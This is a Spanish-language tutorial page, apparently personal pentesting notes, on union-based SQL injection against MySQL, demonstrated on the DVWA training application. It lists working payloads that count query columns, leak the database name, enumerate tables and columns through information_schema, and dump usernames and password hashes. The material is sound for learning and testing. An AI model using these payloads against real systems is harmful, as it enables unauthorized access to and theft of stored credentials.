> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/sqli/sqli-extrayendo-informacion-del-sgbd-union-based.md).

# SQLi - Extrayendo información del SGBD - Union-Based

SQLi basada en la cláusula UNION

1. Determinar a cuantas columnas esta llamando la consulta SELECT original basandonos en los errores que nos devuelva la aplicacion web. Unimos la consulta original con nuestra consulta usando la cláusula UNION, y usando valores nulos.

```sql
' UNION SELECT null, null, null, null #
' UNION SELECT null, null, null # 
' UNION SELECT null, null #
```

2. Una vez hayamos determinado el número de columnas de la consulta original, podremos usar las funciones del SGBD (en este caso MySQL) para extraer información de la base de datos actual:

```sql
' UNION SELECT null, database() -- -
```

3. También podemos provocar un error para que nos diga el nombre de la base de datos actual:

```sql
' UNION SELECT null, null FROM random -- -
```

```
Table 'dvwa.random' doesn't exist
```

4. Recuperar información de las tablas de la base de datos dvwa de las vistas de la base de datos de MySQL information\_schema:

```sql
' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'dvwa' #
```

5. Ver las columnas que existen la tabla users de la base de datos dvwa:

```sql
' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users' #
```

6. Recuperar los registros de la columna user y password de la tabla users en la base de datos dvwa:

```sql
' UNION SELECT user, password FROM users -- -
```
